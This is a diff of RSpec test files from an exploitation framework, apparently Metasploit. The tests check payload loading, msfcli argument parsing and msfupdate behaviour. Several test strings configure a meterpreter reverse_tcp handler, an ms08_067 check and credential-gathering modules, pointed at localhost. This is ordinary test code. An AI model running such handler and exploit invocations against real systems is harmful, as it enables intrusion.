it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_hidden_tcp' + end + + context 'windows/patchupmeterpreter/bind_hidden_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_hidden_tcp' + end + + context 'windows/shell/bind_hidden_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_hidden_tcp' + end + + context 'windows/upexec/bind_hidden_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_hidden_tcp' + end + + context 'windows/vncinject/bind_hidden_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_hidden_tcp' + end + + context 'windows/dllinject/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/dllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/bind_hidden_ipknock_tcp' + end + + context 'windows/meterpreter/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_hidden_ipknock_tcp' + end + + context 'windows/patchupdllinject/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/patchupdllinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/bind_hidden_ipknock_tcp' + end + + context 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/patchupmeterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp' + end + + context 'windows/shell/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/shell/bind_hidden_ipknock_tcp' + end + + context 'windows/upexec/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/upexec' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/bind_hidden_ipknock_tcp' + end + + context 'windows/vncinject/bind_hidden_ipknock_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/windows/bind_hidden_ipknock_tcp', + 'stages/windows/vncinject' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/bind_hidden_ipknock_tcp' + end +end diff --git a/spec/modules_spec.rb b/spec/modules_spec.rb new file mode 100644 index 0000000000..9a6577c5de --- /dev/null +++ b/spec/modules_spec.rb @@ -0,0 +1,30 @@ +require 'spec_helper' + +describe 'modules', :content do + modules_pathname = Pathname.new(__FILE__).parent.parent.join('modules') + + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'auxiliary', + modules_pathname: modules_pathname, + type_directory: 'auxiliary' + + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'encoder', + modules_pathname: modules_pathname, + type_directory: 'encoders' + + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'exploit', + modules_pathname: modules_pathname, + type_directory: 'exploits' + + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'nop', + modules_pathname: modules_pathname, + type_directory: 'nops' + + it_should_behave_like 'all modules with module type can be instantiated', + module_type: 'post', + modules_pathname: modules_pathname, + type_directory: 'posts' +end \ No newline at end of file diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 1cf222b4e6..d37908ed00 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -2,13 +2,19 @@ require 'spec_helper' load Metasploit::Framework.root.join('msfcli').to_path -require 'fastlib' require 'msfenv' require 'msf/ui' require 'msf/base' -describe Msfcli do +describe Msfcli, :content do + subject(:msfcli) { + described_class.new(args) + } + + # + # methods + # # Get stdout: # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec @@ -23,396 +29,784 @@ describe Msfcli do fake.string end - context "Class methods" do - context ".initialize" do - it "should give me the correct module name in key :module_name after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') + # + # lets + # + + let(:args) { + [] + } + + context "#initialize" do + context 'with module name' do + let(:args) { + [ + module_name, + *params + ] + } + + let(:module_name) { + 'multi/handler' + } + + let(:params) { + %w{payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1} + } + + let(:parsed_args) { + msfcli.instance_variable_get(:@args) + } + + context 'multi/handler' do + context 'with mode' do + let(:args) { + super() + [mode] + } + + context 'E' do + let(:mode) { + 'E' + } + + it 'parses module name into :module_name arg' do + expect(parsed_args[:module_name]).to eq(module_name) + end + + it 'parses mode into :mode arg' do + expect(parsed_args[:mode]).to eq(mode) + end + + it 'parses module parameters between module name and mode' do + expect(parsed_args[:params]).to eq(params) + end + end + + context 's' do + let(:mode) { + 's' + } + + it "parses mode as 's' (summary)" do + expect(parsed_args[:mode]).to eq(mode) + end + end + end + + context 'without mode' do + let(:args) { + [ + module_name + ] + } + + it "parses mode as 'h' (help) by default" do + expect(parsed_args[:mode]).to eq('h') + end + end end - it "should give me the correct mode in key :mode after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('E') + context 'exploit/windows/browser/ie_cbutton_uaf' do + let(:module_name) { + 'exploit/windows/browser/ie_cbutton_uaf' + } + + it "strips 'exploit/' prefix for :module_name" do + expect(parsed_args[:module_name]).to eq('windows/browser/ie_cbutton_uaf') + end end - it "should give me the correct module parameters after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) + context 'exploit/windows/browser/ie_cbutton_uaf' do + let(:module_name) { + 'exploits/windows/browser/ie_cbutton_uaf' + } + + it "strips 'exploits/' prefix for :module_name" do + expect(parsed_args[:module_name]).to eq('windows/browser/ie_cbutton_uaf') + end + end + end + end + + context "#usage" do + it "prints Usage" do + out = get_stdout { + msfcli.usage + } + + expect(out).to include('Usage') + end + end + + # + # This one is slow because we're loading all modules + # + context "#dump_module_list" do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + let(:framework) { + msfcli.framework + } + + it 'dumps a listof modules' do + tbl = '' + + stdout = get_stdout { + tbl = msfcli.dump_module_list + } + + expect(tbl).to include 'Exploits' + expect(stdout).to include 'Please wait' + end + end + + context "#guess_payload_name" do + subject(:guess_payload_name) { + msfcli.guess_payload_name(payload_reference_name) + } + + context 'with windows/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'windows/meterpreter/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/ + ] + ) + } + end + + context 'with windows/shell/reverse_tcp' do + let(:payload_reference_name) { + 'windows/shell/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/windows\/shell/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/ + ] + ) + } + end + + context 'with php/meterpreter_reverse_tcp' do + let(:payload_reference_name) { + 'php/meterpreter_reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/php\/meterpreter/, + /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/ + ] + ) + } + end + + context 'with linux/x86/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'linux/x86/meterpreter/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/linux\/x86\/meterpreter/, + /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/ + ] + ) + } + end + + context 'with java/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'java/meterpreter/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/java\/meterpreter/, + /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/ + ] + ) + } + end + + context 'with cmd/unix/reverse' do + let(:payload_reference_name) { + 'cmd/unix/reverse' + } + + it { + is_expected.to eq( + [ + /stages\/cmd\/shell/, + /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/ + ] + ) + } + end + + context 'with bsd/x86/shell_reverse_tcp' do + let(:payload_reference_name) { + 'bsd/x86/shell_reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/bsd\/x86\/shell/, + /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/ + ] + ) + } + + end + end + + context "#guess_encoder_name" do + subject(:guess_encoder_name) { + msfcli.guess_encoder_name(encoder_reference_name) + } + + context 'with x86/shikata_ga_nai' do + let(:encoder_reference_name) { + 'x86/shikata_ga_nai' + } + + it { + is_expected.to eq( + [/encoders\/#{encoder_reference_name}/] + ) + } + end + end + + + context "#guess_nop_name" do + subject(:guess_nop_name) { + msfcli.guess_nop_name(nop_reference_name) + } + + context 'with x86/shikata_ga_nai' do + let(:nop_reference_name) { + 'x86/single_byte' + } + + it { + is_expected.to eq( + [/nops\/#{nop_reference_name}/] + ) + } + end + end + + context "#generate_whitelist" do + subject(:generate_whitelist) { + msfcli.generate_whitelist.map(&:to_s) + } + + let(:args) { + [ + 'multi/handler', + "payload=#{payload_reference_name}", + 'lhost=127.0.0.1', + mode + ] + } + + let(:mode) { + 'E' + } + + context 'with payload' do + context 'linux/x86/reverse_tcp' do + let(:payload_reference_name) { + 'linux/x86/reverse_tcp' + } + + context 'with encoder' do + let(:args) { + super().tap { |args| + args.insert(-2, "encoder=#{encoder_reference_name}") + } + } + + context 'x86/fnstenv_mov' do + let(:encoder_reference_name) { + 'x86/fnstenv_mov' + } + + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/linux\/x86\/shell/, + /payloads\/(singles|stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, + /encoders\/x86\/fnstenv_mov/, + /post\/.+/, + /encoders\/generic\/*/, + /nops\/.+/ + ].map(&:to_s) + ) + } + end + end end - it "should give me an exploit name without the prefix 'exploit'" do - args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end + context 'windows/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'windows/meterpreter/reverse_tcp' + } - it "should give me an exploit name without the prefix 'exploits'" do - args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end + context 'with default options' do + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /post\/.+/, + /encoders\/generic\/*/, + /encoders\/.+/, + /nops\/.+/ + ].map(&:to_s) + ) + } + end - it "should set mode 's' (summary)" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp s" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('s') - end + context 'with encoder' do + let(:args) { + super().tap { |args| + args.insert(-2, "encoder=#{encoder_reference_name}") + } + } - it "should set mode 'h' (help) as default" do - args = "multi/handler" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('h') + context "''" do + let(:encoder_reference_name) do + "''" + end + + context 'with post' do + let(:args) { + super().tap { |args| + args.insert(-2, "post=#{post_reference_name}") + } + } + + context "''" do + let(:post_reference_name) do + "''" + end + + context "with nop" do + let(:args) { + super().tap { |args| + args.insert(-2, "nop=#{nop_reference_name}") + } + } + + context "''" do + let(:nop_reference_name) { + "''" + } + + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /encoders\/''/, + /post\/''/, + /nops\/''/, + /encoders\/generic\/*/ + ].map(&:to_s) + ) + } + end + end + end + end + end + + context "<blank>" do + let(:encoder_reference_name) do + "" + end + + context 'with post' do + let(:args) { + super().tap { |args| + args.insert(-2, "post=#{post_reference_name}") + } + } + + context "<blank>" do + let(:post_reference_name) do + "" + end + + context "with nop" do + let(:args) { + super().tap { |args| + args.insert(-2, "nop=#{nop_reference_name}") + } + } + + context "<blank>" do + let(:nop_reference_name) { + "" + } + + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /encoders\/generic\/*/ + ].map(&:to_s) + ) + } + end + end + end + end + end + end + end + end + end + + context "#init_modules" do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + let(:args) { + [ + module_name, + mode + ] + } + + let(:framework) { + msfcli.framework + } + + let(:mode) { + 'S' + } + + context 'with exploit/windows/smb/psexec' do + let(:module_name) { + 'exploit/windows/smb/psexec' + } + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module]).to be_an Msf::Exploit + expect(modules[:module].fullname).to eq(module_name) end end - context ".usage" do - it "should see a help menu" do - out = get_stdout { - cli = Msfcli.new([]) - cli.usage + context 'with auxiliary/server/browser_autopwn' do + let(:module_name) { + 'auxiliary/server/browser_autopwn' + } + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules } - out.should =~ /Usage/ + + expect(modules[:module]).to be_an Msf::Auxiliary + expect(modules[:module].fullname).to eq(module_name) end end - # - # This one is slow because we're loading all modules - # - context ".dump_module_list" do - it "it should dump a list of modules" do - tbl = '' - stdout = get_stdout { - cli = Msfcli.new([]) - tbl = cli.dump_module_list + context 'with post/windows/gather/credentials/gpp' do + let(:module_name) { + 'post/windows/gather/credentials/gpp' + } + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules } - tbl.should =~ /Exploits/ and stdout.should =~ /Please wait/ + + expect(modules[:module]).to be_an Msf::Post + expect(modules[:module].fullname).to eq(module_name) + end + end + + context 'with multi/handler' do + let(:module_name) { + 'multi/handler' + } + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module]).to be_an Msf::Exploit + expect(modules[:module].refname).to eq(module_name) + end + + context 'with payload' do + let(:args) { + super().tap { |args| + args.insert(-2, "payload=#{payload_reference_name}") + } + } + + context 'windows/meterpreter/reverse_tcp' do + let(:payload_reference_name) do + 'windows/meterpreter/reverse_tcp' + end + + it 'creates payload in :payload' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:payload]).to be_an Msf::Payload + expect(modules[:payload].refname).to eq(payload_reference_name) + end + end + end + + context 'with data store options' do + let(:args) { + super().tap { |args| + args.insert(-2, "#{data_store_key}=#{data_store_value}") + } + } + + let(:data_store_key) { + 'lhost' + } + + let(:data_store_value) { + '127.0.0.1' + } + + it 'sets data store on :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module].datastore[data_store_key]).to eq(data_store_value) + end end end - context ".guess_payload_name" do - cli = Msfcli.new([]) + context 'with invalid module name' do + let(:module_name) { + 'invalid/module/name' + } - it "should contain matches nedded for windows/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('windows/meterpreter/reverse_tcp') - m.should eq([/stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) + it 'returns empty modules Hash' do + modules = nil + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules).to eq({}) end + end + end - it "should contain matches needed for windows/shell/reverse_tcp" do - m = cli.guess_payload_name('windows/shell/reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) - end + context "#engage_mode" do + include_context 'Metasploit::Framework::Spec::Constants cleaner' - it "should contain matches needed for windows/shell_reverse_tcp" do - m = cli.guess_payload_name('windows/shell_reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(singles|stagers|stages)\/windows\/.*(shell_reverse_tcp)\.rb$/]) - end + subject(:engage_mode) { + msfcli.engage_mode(modules) + } - it "should contain matches needed for php/meterpreter_reverse_tcp" do - m = cli.guess_payload_name('php/meterpreter_reverse_tcp') - m.should eq([/stages\/php\/meterpreter/, /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/]) - end + let(:args) { + [ + module_name, + mode + ] + } - it "should contain matches needed for linux/x86/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('linux/x86/meterpreter/reverse_tcp') - m.should eq([/stages\/linux\/x86\/meterpreter/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/]) - end + let(:framework) { + msfcli.framework + } - it "should contain matches needed for java/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('java/meterpreter/reverse_tcp') - m.should eq([/stages\/java\/meterpreter/, /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/]) - end + let(:modules) { + msfcli.init_modules + } - it "should contain matches needed for cmd/unix/reverse" do - m = cli.guess_payload_name('cmd/unix/reverse') - m.should eq([/stages\/cmd\/shell/, /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/]) - end + context 'with auxiliary/scanner/http/http_put' do + let(:module_name) { + 'auxiliary/scanner/http/http_put' + } - it "should contain matches needed for bsd/x86/shell_reverse_tcp" do - m = cli.guess_payload_name('bsd/x86/shell_reverse_tcp') - m.should eq([/stages\/bsd\/x86\/shell/, /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/]) + context 'with mode' do + context 'ac' do + let(:mode) { + 'ac' + } + + specify { + expect(get_stdout { engage_mode }).to match(/DELETE/) + } + end end end - context ".guess_encoder_name" do - cli = Msfcli.new([]) - it "should contain a match for x86/shikata_ga_nai" do - encoder = 'x86/shikata_ga_nai' - m = cli.guess_encoder_name(encoder) - m.should eq([/encoders\/#{encoder}/]) + context 'with auxiliary/scanner/http/http_version' do + let(:module_name) { + 'auxiliary/scanner/http/http_version' + } + + context 'with mode' do + context 'A' do + let(:mode) { + 'A' + } + + specify { + expect(get_stdout { engage_mode }).to match(/UserAgent/) + } + end + + context 'I' do + let(:mode) { + 'I' + } + + specify { + expect(get_stdout { engage_mode }).to match(/Insert fake relative directories into the uri/) + } + end + + context 'O' do + let(:mode) { + 'O' + } + + specify { + expect(get_stdout { engage_mode }).to match(/The target address range or CIDR identifier/) + } + end + + context 'P' do + let(:mode) { + 'P' + } + + specify { + expect(get_stdout { engage_mode }).to match(/This type of module does not support payloads/) + } + end + + context 's' do + let(:mode) { + 's' + } + + specify { + expect(get_stdout { engage_mode }).to match %r{Module: auxiliary/scanner/http/http_version} + } + end + + context 't' do + let(:mode) { + 't' + } + + specify { + expect(get_stdout { engage_mode }).to match(/This type of module does not support targets/) + } + end end end - context ".guess_nop_name" do - cli = Msfcli.new([]) - it "should contain a match for guess_nop_name" do - nop = 'x86/single_byte' - m = cli.guess_nop_name(nop) - m.should eq([/nops\/#{nop}/]) + context 'with windows/browser/ie_cbutton_uaf' do + let(:module_name) { + 'windows/browser/ie_cbutton_uaf' + } + + context 'with mode' do + context 'ac' do + let(:mode) { + 'ac' + } + + specify { + expect(get_stdout { engage_mode }).to match(/This type of module does not support actions/) + } + end + + context 'P' do + let(:mode) { + 'P' + } + + specify { + expect(get_stdout { engage_mode }).to match(/windows\/meterpreter\/reverse_tcp/) + } + end + + context 'T' do + let(:mode) { + 'T' + } + + specify { + expect(get_stdout { engage_mode }).to match(/IE 8 on Windows 7/) + } + end end end - context ".generate_whitelist" do - it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do - args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/linux\/x86\/shell/, - /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, - /encoders\/x86\/fnstenv_mov/, - /post\/.+/, - /encoders\/generic\/*/, - /nops\/.+/ - ].map { |e| e.to_s } + context 'with windows/smb/ms08_067_netapi' do + let(:args) { + super().tap { |args| + args.insert(-2, "RHOST=127.0.0.1") + } + } - list.should eq(answer) - end + let(:module_name) { + 'windows/smb/ms08_067_netapi' + } - it "should generate a whitelist for windows/meterpreter/reverse_tcp with default options" do - args = 'multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E' - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /post\/.+/, - /encoders\/generic\/*/, - /encoders\/.+/, - /nops\/.+/ - ].map { |e| e.to_s } + context 'with mode C' do + let(:mode) { + 'C' + } - list.should eq(answer) - end - - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder='' post='' nop=''" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder='' post='' nop='' E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/''/, - /post\/''/, - /nops\/''/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } - - list.should eq(answer) - end - - it "should generate a whitelist for windows/meterpreter/reverse_tcp with options: encoder= post= nop=" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 encoder= post= nop= E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/windows\/meterpreter/, - /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, - /encoders\/generic\/*/ - ].map { |e| e.to_s } - - list.should eq(answer) + specify { + expect(get_stdout { engage_mode }).to match(/#{Msf::Exploit::CheckCode::Unknown[1]}/) + } end end - - context ".init_modules" do - - it "should inititalize an exploit module" do - args = 'exploit/windows/smb/psexec S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") - end - - it "should inititalize an auxiliary module" do - args = 'auxiliary/server/browser_autopwn S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") - end - - it "should inititalize a post module" do - args = 'post/windows/gather/credentials/gpp S' - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - m[:module].class.to_s.should start_with("Msf::Modules::Mod") - end - - it "should have multi/handler module initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - - m[:module].class.to_s.should =~ /^Msf::Modules::/ - end - - it "should have my payload windows/meterpreter/reverse_tcp initialized" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - - m[:payload].class.to_s.should =~ /<Class:/ - end - - it "should have my modules initialized with the correct parameters" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - - m[:module].datastore['lhost'].should eq("127.0.0.1") - end - - it "should give me an empty hash as a result of an invalid module name" do - args = "WHATEVER payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } - - m.should eq({}) - end - end - - context ".engage_mode" do - it "should show me the summary of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version s' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - - stdout.should =~ /Module: auxiliary\/scanner\/http\/http_version/ - end - - it "should show me the options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version O' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - - stdout.should =~ /The target address range or CIDR identifier/ - end - - it "should me the advanced options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version A' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - - stdout.should =~ /UserAgent/ - end - - it "should show me the IDS options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version I' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /Insert fake relative directories into the uri/ - end - - it "should show me the targets available for module windows/browser/ie_cbutton_uaf" do - args = "windows/browser/ie_cbutton_uaf T" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /IE 8 on Windows 7/ - end - - it "should show me the payloads available for module windows/browser/ie_cbutton_uaf" do - args = "windows/browser/ie_cbutton_uaf P" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /windows\/meterpreter\/reverse_tcp/ - end - - it "should try to run the check function of an exploit" do - args = "windows/smb/ms08_067_netapi rhost=0.0.0.1 C" # Some BS IP so we can fail - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /#{Msf::Exploit::CheckCode::Unknown[1]}/ - end - - it "should warn my auxiliary module isn't supported by mode 'p' (show payloads)" do - args = 'auxiliary/scanner/http/http_version p' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support payloads/ - end - - it "should warn my auxiliary module isn't supported by mode 't' (show targets)" do - args = 'auxiliary/scanner/http/http_version t' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support targets/ - end - - it "should warn my exploit module isn't supported by mode 'ac' (show actions)" do - args = 'windows/browser/ie_cbutton_uaf ac' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support actions/ - end - - it "should show actions available for module auxiliary/scanner/http/http_put" do - args = "auxiliary/scanner/http/http_put ac" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /DELETE/ - end - - end - end end diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 7271ff3ee5..304de16aa0 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -188,9 +188,9 @@ describe Msfupdate do context "in an apt installation" do let(:msfbase_dir) { dummy_apt_pathname } - its(:apt?) { should == true } - its(:binary_install?) { should == false } - its(:git?) { should == false } + it { expect(subject.apt?).to be_truthy } + it { expect(subject.binary_install?).to be_falsey } + it { expect(subject.git?).to be_falsey } context "#validate_args" do before(:each) do @@ -199,22 +199,22 @@ describe Msfupdate do context "with no args" do let(:args) { [] } - its(:validate_args) { should == true } + it { expect(subject.validate_args).to be_truthy } end context "with --git-remote" do let(:args) { ['--git-remote', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --git-branch" do let(:args) { ['--git-branch', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end context "with --offline-file" do let(:args) { ['--offline-file', 'foo'] } - its(:validate_args) { should == false } + it { expect(subject.validate_args).to be_falsey } end end @@ -241,9 +241,9 @@ describe Msfupdate do context "in a binary installation" do let(:msfbase_dir) { dummy_install_pathname } - its(:apt?) { should == false } 